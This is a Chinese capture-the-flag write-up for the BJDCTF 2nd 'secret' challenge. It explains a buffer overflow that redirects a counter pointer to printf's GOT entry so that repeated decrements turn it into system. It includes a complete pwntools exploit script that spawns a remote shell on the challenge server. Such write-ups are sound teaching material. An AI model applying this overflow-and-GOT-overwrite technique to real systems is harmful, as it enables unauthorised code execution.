BJDCTF 2nd secret

BJDCTF 2nd secret

首先,检查一下程序的保护机制

BJDCTF 2nd secret_第1张图片

然后,我们用IDA分析一下

是一个猜数游戏,数值全在代码里,但是有10000个,显然全部抠出来太慢了。

BJDCTF 2nd secret_第2张图片

我们再看一下其他函数,发现输入name时,存在缓冲区溢出,可以改写0x000000000046D090处的指针,而该处指针指向count变量,每猜一下,就会对count减1。

BJDCTF 2nd secret_第3张图片

BJDCTF 2nd secret_第4张图片

然后,我们注意到printf的got表的值比system的got表的值大,并且相差0x10.

BJDCTF 2nd secret_第5张图片

因此,我们可以利用溢出,把指针覆盖为printf的got表,然后猜对15次,最后一次猜错。这会导致printf的got表值减去16,也就变成了system的got表一样的值。从而能够调用system。

#coding:utf8
from pwn import *

#sh = process('./secret')
sh = remote('node3.buuoj.cn',26191)
elf = ELF('./secret')
printf_got = elf.got['printf']

answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
   sh.sendlineafter('Secret:',str(x))
#现在printf的got表被修改为了system_plt
#getshell
sh.sendlineafter('Secret:','1')

sh.interactive()

 

你可能感兴趣的:(pwn,二进制漏洞,CTF)